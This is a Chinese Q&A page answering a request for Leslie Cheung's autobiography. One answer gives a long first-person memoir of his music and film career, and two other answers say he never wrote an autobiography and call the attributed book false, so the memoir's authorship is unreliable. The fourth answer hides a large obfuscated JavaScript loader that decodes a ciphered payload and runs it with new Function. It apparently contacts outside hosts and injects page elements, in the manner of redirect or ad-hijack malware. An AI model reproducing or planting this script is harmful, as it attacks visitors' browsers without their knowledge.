寻哥哥(张国荣)的自传

2025-02-13 12:58:05
推荐回答(4个)
回答1:

我在乐坛多年,尝尽不少酸甜苦辣的滋味,今日总算有了一点点成绩,这些成果,都是经过不断的努力争取得来的。我并非象一般幸运儿,一出道便一炮而红,而是一步一步从基层爬上来,经过很多挫折,也经历过无数次的失败,但凭自己的一股毅力,不断地自我策励,才令歌迷由最初的抗拒,继而接受,以致现在狂热地拥戴。其间历尽辛酸的过程是非笔墨所能形容的。

回想往年,难免令人感触一番。当时年少气盛,所追求的莫过于名与利,但是时运未到,不管如何努力,到头来还是得不到共鸣。

我承认在当时一度灰心失意,因为自己永远在次要位置,别人不做的戏由我顶上,另人不唱的歌由我接唱,我曾经质问自己究竟为了什么,既然做得不开心,又为何还留在这个圈。

自幼得到父母怜爱的我,从未受到什么重大挫折,所以那一段时间真是直接打击了我的士气。不过因为生性好胜心强,加上对自己极具信心,我不相信就只得这样的成绩,所以才决定继续留在娱乐圈等机会。

当一个人去等待一件未知会否发生的事时,心情是相当矛盾的,因为无止境地等有成绩固然开心,若到头来还是一片空白,真会后悔为何如此浪费青春。

但是我没有顾虑太多,还是一直地做,尽管被人拆台,被人责骂,我也硬着头皮忍受。最记得有一次,我在表演之时,为配合台风,把头上帽子抛向观众席,却即时被抛回台上,当时令我十分伤心,真想找个洞钻下去呢!这不快的经历,相信我这一辈子也不会忘记。

记得早几年的我,每逢遇上一班朋友聊天叙旧,他们都会问我为什么不开心。脸上总见不到欢颜。

我想自己可能患上忧郁症,至于病源则是对自己不满,对别人不满,对世界更加不满。那段日子真可以用黑暗时代来形容,只要空闲我都会泡迪斯科直至夜深,用吵声来麻醉自己,用烈火酒来刺激自己,晚晚夜夜笙歌作乐,别人眼中可能是人生几何,但是久而久之,我由麻木到厌倦,由无所谓变为讨厌。

由这时开始,我觉得不可能再用消极方法去面对现实,而是应该积极一点,因为运气并非偶然,必须靠自己把握,更重要还是靠实力取胜,所以我仍然继续勤练唱歌,亦在演技方面不断磨练。

撇开别人接受与否的问题不说,我觉得付出的努力,并没有白费,起码所唱的歌,所演的戏,明显是有进步,尽管别人还继续将我和其他人比较,不过于我而言,看到一点成绩总是感到欣慰的。

从事娱乐工作至今,观众一直未停过把我与某某比较。我不知为什么如此,总是把无关的事情扯到我身上,最初我是极不喜欢,因为人比人,永远是比死人,我可能比其他人好,但全世界人才辈出,我又怎能够永远抱着胜过他们的心理。

我只是希望做好自己本份,使喜欢我的人继续喜欢我,使最初不喜欢我的人,至少不要恨我,我已经感到满足,因为我不圣人,不能够全世界都要和我共鸣。

前年的"劲歌金曲竞选"对我的人生观影响至深,以往一直追求完美的我,终于明白到世事往往不如已愿,寄望越大,失望越大。1986年是我事业最满意的一年,因为所付出的努力,明显得到人们赏识,还以为大家已接受我,怎料在"劲歌金曲选举"当晚,深深令我体会当年被"拆台"的失落感觉。

有段时间我一度很不开心,因为不明白为何别人要讨厌我,但后来得到公司的朋友的劝解,我终于平息心中怒气,还开始学习"猝然临之而不惊,无故加之而不怒"的态度面对现实。果然在这一年我对于处世成熟了许多,可能别人看不出,但我自己却感受得到。因为以前的我无论对人对事均十分冲动,喜欢形诸于色,不去隐藏。但其实在娱乐圈,这样的态度是行不通的。

过去我一直觉得人有喜怒哀乐的情绪,我只是不喜掩饰,用自己的真性情去待人处世,有什么不对呢?但批评的话听得多了人也逐渐成熟。有一次自我反省之下,才幡然醒悟,以前待人处事的态度是太过任性了,有时会令人觉得难堪,于是决心改变自己的性格。我将自己的心胸扩阔,对一切都采取包容的态度,不再以自我为中心,将自己更加开放,让自己有更多接受人家批评的雅量。

果然我改变性格之后,效果很好,很多朋友都说我变得谦虚了,也懂得去体谅别人,我的心境也变得更开朗,活得更愉快。我这种改变除了是自己悟外,一些朋友对我也有很大的影响,我与周润发合作拍《英雄本色》时,他洒脱的性格,玩世不恭的人生观,都给我很大启发,了解到一个人太斤斤计较是不会快乐的,对名和利较为看淡一点便不会有太多的麻烦。

尽管现在我仍然是火爆脾气之人,不过不会轻易表露出来,因为人是平等的,无理由自己不高兴便随便发脾气影响别人,结果还是自己吃亏。
更何况我所付出的努力,是必须向自己交代,至于别人接受与否又是另一回事。经过一段时间的磨练、学习,故此现在的我,所抱着的是随遇而安的态度,不再追求太多,因为该是自己的便会来到面前,但若勉强追求,则未必一定能够如愿以偿。

初入娱乐圈之时,无论圈内圈外的朋友,都曾说过我的性格,其实并不适合在这个地方。而我自己也是认同的,因为在人际关系方面,我并不如其他人那么好(但我已尽力去做),此点已是最失败之处。不过若问我适合做什么工作,我又真想不出,故此就算当初表演事业成绩并不理想,我也留下来等待机会。我自知在这方面十分失败,从未替自己的未来作打算,就是现在稍有成绩,也不会考虑另作投资,因为我既无生意头脑,也没有胆量,拍辛苦赚来的钞票,一下子失去。这就如赌钱一般,周围的朋友打牌注码大,牌章好,我根本不是他们的对手,所以不敢玩,怕输太多,一来会心痛,二来又失面子。

有时我也会担心到日后,若不做娱乐圈可以做什么?想了半天,或者开设计公司,或者做时装店生意,因为这两个行业,自己是略有兴趣和心得,但现在是言之过早了,到真要改变时再作打算也未迟。转投新唱片公司之后,好象接受另一个新挑战般令人斗志增加,连带心情也进入另一个新境界,真不知怎样形容,总之是好多于坏。

事实上在这几个月来,我的心理压力增加不少,一方面工作忙碌令我透不过气,加上自己好胜心强,不希望转了公司之后,给人感觉水准不及以前,所以我更要加把劲。

尽管我的性格比较独立,但仍然得到很多朋友的鼓励,好似梅艳芳和黎小田他们给予我不少意见,令我增加信心。已有4年没有在夜总会演出,所以不久前答应香港一间夜总会邀请时,心里十分矛盾,怕自己不能够胜任。回想几年前于夜总会演唱时,所遇到不开心事件至今仍记忆犹新。因为当年乃是黄毛小子,名气不磊,所以被安排唱歌的地方也属于二三流的夜总会,当然这些地方难免品流复杂一点,但是为了增加出台经验,我也会接下来。

当听到观众拍掌,心情是极兴奋的,但是少不了亦会有一些滋事分子存心捣乱,我就有过被一些醉酒的大汉将杯子猛力掷中的经验,本来我曾一度有意还击,但想到这小小的打击也不能忍受,日后怎可以面对更大的问题?所以即时我便警告自己必须忍受。果然后来有更多同类事件发生,自己都能应付,从而训练忍耐性格。

不过今次在夜总会登台,所得到的反应是前所未有的令我可以一直希望唱下去的感觉,因为和歌迷距离拉近,大家接触容易,所以深切体会到歌迷对我之情,最难得她们并非全是女孩子,而是男女老少都有,所以我很开心,自己的歌路亦扩阔了,不再局限于情歌。
幸好,经过多年来不断的努力,我终于能够与歌迷们取得沟通,希望在未来的日子里,多唱更好的歌,得到更大的满足。当年我的忍耐,总算没有白费。

在乐坛多年,我最大的收获并不是名和利,而是获得一帮忠实的拥护者。他们对我的支持,令我对自己更有信心,他们对我的爱戴与拥护实在令我非常感动。在我的第一次演唱会中,观众大部分是年轻人,但在第二次演唱会,我却发觉有很多家庭观众,证明我已为大众所接受,不再局限是年轻人的偶像。观众的层面扩大,是一件可喜的事,今后我会继续努力,希望获得更好的成绩。

由于得来不易,因此我对于今天的成果,特别珍惜,无论登台、开演唱会,甚至拍戏,我都是全力以赴,不敢掉以轻心。因为创业难,守业更难,要保持自己现时在乐坛的地位,便一定要不断寻求突破,要求自己不断地进步。这种奋勇向前,不留恋过去风光的精神是迈向成功的原动力,是每个艺人都必须具备的。

我对于自己的每样工作,无论是电影或是唱片,都是把全副精神投进去,希望做得最好,尤其是每次的个人演唱会,我更是十分重视。因为个人演唱会,不但是一段时间内自己唱歌成绩的展示,也是令我获得满足感的时刻。说现实一点,开演唱会更是一个歌手收入最多的工作,所以每当打算开个人演唱会时,我都会将它放在第一位,将其他的工作提早完成,或是暂时搁置,利用几个月的时间去准备,以最佳的精神和体力去演出。

每逢开演唱会,最多人关心的是场数多少的问题,任何人都希望场数越多越好,因为收入也会因而增加,但我觉得这并不是最重要的,我重视的是如何将演唱会搞到最好,入场来看我的观众都是我的拥护者,他们来听我唱歌,假如没有一些新鲜的东西给他们看,便对不起拥戴我的歌迷,所以场数多少我无所谓,起码十场我有十足把握。但如何将一个演唱会搞得有声有色,多姿多彩,即是颇伤脑筋的一件事。

一张唱片的销量多,歌曲好固然是重要,此外封套吸引人,亦会刺激起歌迷的购买欲,因而销量大增。所以我每次出碟都会费尽心机去拍封面,最近推出的新大碟,更是远至加拿大拍雪景,希望能一新歌迷耳目。

这次在加拿大拍摄雪景唱片封面,较早时唱片公司已有此意,刚巧那时我在加拿大登台,公司便派了一队摄影组到加拿大与我会合,利用几天时间摄制完毕,一举两得,也省了我不少时间。不过在冰天雪地之下工作并不好受,当时的温度是零下几度,冻得我的耳朵几乎掉下来,五官几乎没有感觉,在寒风刺骨的情况下,还要装出一副潇洒的模样,现时想起也觉难顶呢!不过幸好出来的效果却不错,歌迷的反应也很好,我这趟辛苦并没有白费
"一个成功的男人背后,都有一个女人"这句不知是谁说的名言,对我也颇适合,虽然我并不算有什么成就,但多年努力总算做出一点点成绩,而我的背后也有一个对我的事业有很大帮助的女人,这便是我的经理人陈淑芬。谈到我这个经理人,真不能不佩服她的精力充沛,不但照顾得我无微不至,还要兼顾恒星公司的业务,而且每件事都处理得井井有条,从不显慌乱。有她在身边,我便特别放心,因为我知道他会完善地为我安排一切,为我解决困难。

除了为我安排工作外,有关合约签定,谈片酬歌酬,都是由她负责。作为一个经理人,自然有为旗下艺人争取利益的义务,凭着她八面玲珑的的手腕,伶俐的口才及敏捷的思考,通常都可以为我争取到较佳的条件。

去年我在乐坛及影坛双线发展的成绩颇为不错,我自己亦感满意,尤其是在电影方面,拍了几部不错的电影,例如《英雄本色》、《倩女幽魂》及《胭脂扣》等,均是叫好叫座的电影。在金马奖中,都能得到多个奖项。虽然我提名角逐最佳男主角落选。但也没有失望,因为各方都给我很多的好评,也肯定我的演技,我觉得观众的支持,比得奖更重要。

在我演出的几部戏中,不单在票房有骄人的成绩,而且能够带领潮流,这才是感到最开心的。例如《英雄本色》开创了英雄片的潮流,周润发的MARK哥,狄龙的豪哥、我饰演的杰仔都已深入民间;而《倩女幽魂》更掀起一阵拍古装鬼片的热潮,至今仍方兴未艾,接着的《金燕子》、《画中仙》都是依照这个模式拍摄,台湾方面跟风抢拍更是不在话下。

不过我最喜欢还是《胭脂扣》,在片中我饰一个富家子弟十二少,与梅艳芳合作,阿梅还凭这部戏获得金马影后呢,此外这部是文艺片,是有票房毒药之称的片种,但收入却有1500多万,很多行内人都吃惊不已呢。作为一个演员,我是希望文艺片能够再为观众所接受,因为唯有演出这类片种,演员的演技才能有更大的发挥,而大部分喜剧、动作片,演技都是肤浅而没有深度的,大家几曾看过喜剧及动作片演员在金马奖中获奖?
今年我最大的愿望是除了演唱会成功外,还希望多接几部好戏,于痛下苦功之后而再获得提名角逐金马影帝的奖座,这便无憾了。

以前我抽烟抽得很凶,尤其是紧张的时候,我需要用脑筋的时候更是一根接一根地抽。但最近我却决定戒烟,主要是为身体健康,而且经常有歌迷写信叫我戒烟,他们一番好意令我感动。最主要的还是为了自己的事业,因为每次抽烟,呼吸器官或多或少都会受到影响。在唱歌时,尤其是在需要极多体力的演唱会,便容易出现无气的情况,作为一个歌手,抽烟是百害而无一利的,所以今年便下定决心,将抽烟的恶习戒除。
其实我的烟瘾并不大,只是一种习惯。因为我一向抽烟,都不经过肺部,只是口腔略为打转便喷出,所以我抽烟的速度比一般人快,对我的健康影响不大。不过日积月累,可能会对气管有害,所以还是决心戒掉。

但要戒掉一种习惯也不是一件容易的事,所以我采取了两个步骤,第一步我是以消极的方式进行,首先不买香烟,也不会带香烟在身,改抽"伸手牌",一帮朋友,如果是抽烟的,我自然可以大过烟瘾,假如对方没有吸烟,那就算了。这样虽然有点不好意思,但长期下来,吸烟量是减少了很多,假如运气好,可能一天也没有机会抽烟呢。接着我会采用较积极的办法,就是向医生请教,在医生的指导下戒烟,因为很多人在戒烟之后便会体重聚增,或者会无节制的狂食。卖艺人最拍便是发胖,为了避免这种不良的后果,一定要慎重进行,在医生的指导下戒烟会比较保险。
现时我戒现只是进行第一步,第二步相信要等比较清闲的时候,才能实现。因为如果一直忙于工作,无论劳心或劳力,都会心痒痒地想吸烟。而且为了戒烟后不致体重骤增,便一定要增加运动量,如果刚好在拍戏期间,晨昏颠倒,没有时间运动,很容易便会变肥仔。我还想在这个圈子捱下去,所以也不想冒险。

我计划用一个月的时间到外国,物色一个风景幽美,有湖光山色的地方休息,每天规定时间去跑步、健身,相信烟瘾很快便会戒掉。谈到去外国休息戒烟,令我想起已经很久没有度假了,虽然去年也经常出国,但却有工作在身,行色匆匆,连走马看花的时间也没有,虽然身在美加,连当地的风光都没法细览,不停地坐车坐飞机穿梭各地。演唱完就返港,脑中一片空白,只留下酒店及演出场地的印象,毕竟到外地工作不同于纯粹的去旅行,因为有工作压力,就算有时间游也不过瘾,起码心境亦有所不同。

其实我是很喜欢去旅行的,环游全世界是我的心愿,所谓读万卷书不如行万里路,去旅行可以增广见闻,多看一些名山大川,也可以令自己的胸襟更加广阔。不过现时虽然交通快捷方便,但这个世界实在太大了,名为环游世界,其实最多只能在每个国家作重点游览,单是中国大陆,要游遍各省的名胜风光,一年时间都不够,所以想尽窥全豹,是不可能的。

近几年我拍戏,灌唱片、登台,不断有工作涌来,有几天假期已很满足,所以想环游世界,现时来说是一种奢望,要实现这个心愿,相信要等退休之后了。

现时做演唱会,越来越困难,因为观众看多了,要求便越来越高,所以作为一个制作人对搞演唱会已视作为一件有挑战性的工作,因为每每挖空心思亦未必能获得观众的赞赏。

不过我觉得这样才是一件好事,任何事都不断进步的,人总是有惰性,没有外在环境的压挤,往往便会松懈下来,观众的水准高,制作人脑筋才会变得越来越灵活,我们才有更多姿多彩的舞台表演让观众欣赏。最近我与经理人及工作人员经常开会,讨论今次演唱会的形式及内容,我也提出很多意见,初步决定是以夏天为主题,以活力及动感为主,特色是比较着重灯光和舞蹈,因我觉得现场唱歌,无论天赋歌喉如何好,效果都会比在录音室灌唱片差,演唱会是一种综合性的舞台表演,一定要多姿多彩才能令观众满足,如果只是一碌木地站在台上唱歌,倒不如回家听唱片算了,因此我强调一定要搞好舞台效果,就算自己辛苦一点也没关系,而且我自信有足够的体力可以应付。当然,我十分了解歌迷的心态,他们买票入场,自然是希望能够欣赏到自己喜爱的歌手唱出心爱歌曲及希望在整晚享受到难忘的视听之娱,因此,制作演唱会,必须要从这个方面动脑筋才是。此外,我特别关心如何令场馆四面的观众可以公平地欣赏我的演出,因为很多演唱会由于舞台设计所限,往往会忽略了某一边的观众,所以我今次希望能改进这方面的缺点,除了在设计舞台时,考虑这方面外,在演出编排方面,也会要求制作人特别注意这一点,我宁愿多一些翻腾跳跃,也不希望入场的观众失望。为了增加场数,有人建议我加开日场,但却拒绝了,因为在日间看演唱会根本没有气氛,不但观众看得不过瘾,甚至连歌手本身也会唱得不起劲。

梅艳芳在过去几年是和我合作最多的女星,所以在不知不觉间我们便成为深交,遇到什么心事、难题我都会找她倾诉,虽然她的年纪比我轻,但是人生经验丰富,而且懂得体谅别人,以致我对她无话不谈,简直就仿如两兄妹般。梅艳芳是一个很有义气的女孩子,是我在乐坛很少见到的。在任何情形下她都会站在朋友的一边,在圈中连男的也难找,真想不到一个女流之辈,竟然有此性格,实在难得。

一度因为和她来往密切,也曾给人错觉以为我们"拍拖",其实我和她熟得象兄弟一般,完全没有异性的感觉,更遑论擦出爱的火花来。梅艳芳是一个永不言败的女孩子,她的信心强,野心也大,所以她会用尽自己的能力去争取应得的一切,这点无疑令我十分佩服的。

由于近来几部戏都未开镜,所经比较清闲,于是大量补充睡眠,因为一开镜,可能会连续十几天无觉好睡。现时我每天都睡十个钟头,真是十分舒服,这种并非被闹钟吵醒,也不必担心明天的工作的睡眠是最快意的。我拍通宵戏时,很多人都赞我精神体力好,因为我从不睡觉,也不打瞌睡,有时打灯、换布景,或是导演先拍其他演员,明知有几个钟头的空档时,换了发仔或其他演员,必然会睡得鼾声大作,但我却不会睡觉,宁愿抽烟提神,或与一些工作人员闲谈,有时虽然强烈的睡意侵袭,也会死顶下去。

有人笑我自找辛苦,不会适应环境,其实我是另有苦衷,因为我有一个毛病,就是睡醒之后,整个人便会浑浑噩噩,双眼发红,很久都不能集中精神演戏,或在片场散步,这已成为我的习惯。

谈到拍《倩》片续集,由于之后有很多跟风之作,所以拍下集便要寻求新突破,无论在造型或布景方面要创新,而且还要加入很多特技打斗的大场面,此外还有很多骑马奔驰剑击的镜头,所以我们一班演员,包括王祖贤、关之琳等都被徐克招去集训,每周安排几天在沙田骑马练剑。
这种集训对我也有好处,因为这段期间就算不练剑,也要为自己的演唱会作体能训练,练剑骑马都有助我的身手敏捷和灵巧,可谓一举两得。所以我对这类集训一直以来十分热心,每堂课都很少缺席呢!

回答2:

哥哥从来没有写过自传。《张国荣画传》的作者很无耻的说那本书是哥哥的自传,可是内容全是错的!你最好去贴吧多看看精帖,看看哥哥的访问,千万别买那本无耻的书!!

回答3:

哥哥根本没有写自传..

要你你是看了昨天上海节目.所以...
我真是无语了,那节目功课都没做足还做节目,不知道意义何在.

而且主持人和那资深荣迷?!那也算资深?!

好多破绽,说错的,名字都会念错,这算什麽垃圾节目!

楼上的真喜欢哥哥可以去百度一下,在去贴吧混混吧,相信你会更瞭解哥哥和喜欢哥哥.
那个节目给哥哥不公的评论,表示无视...

加油,你会找到你想要的,荣迷一家亲!

回答4:

张国荣画传

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();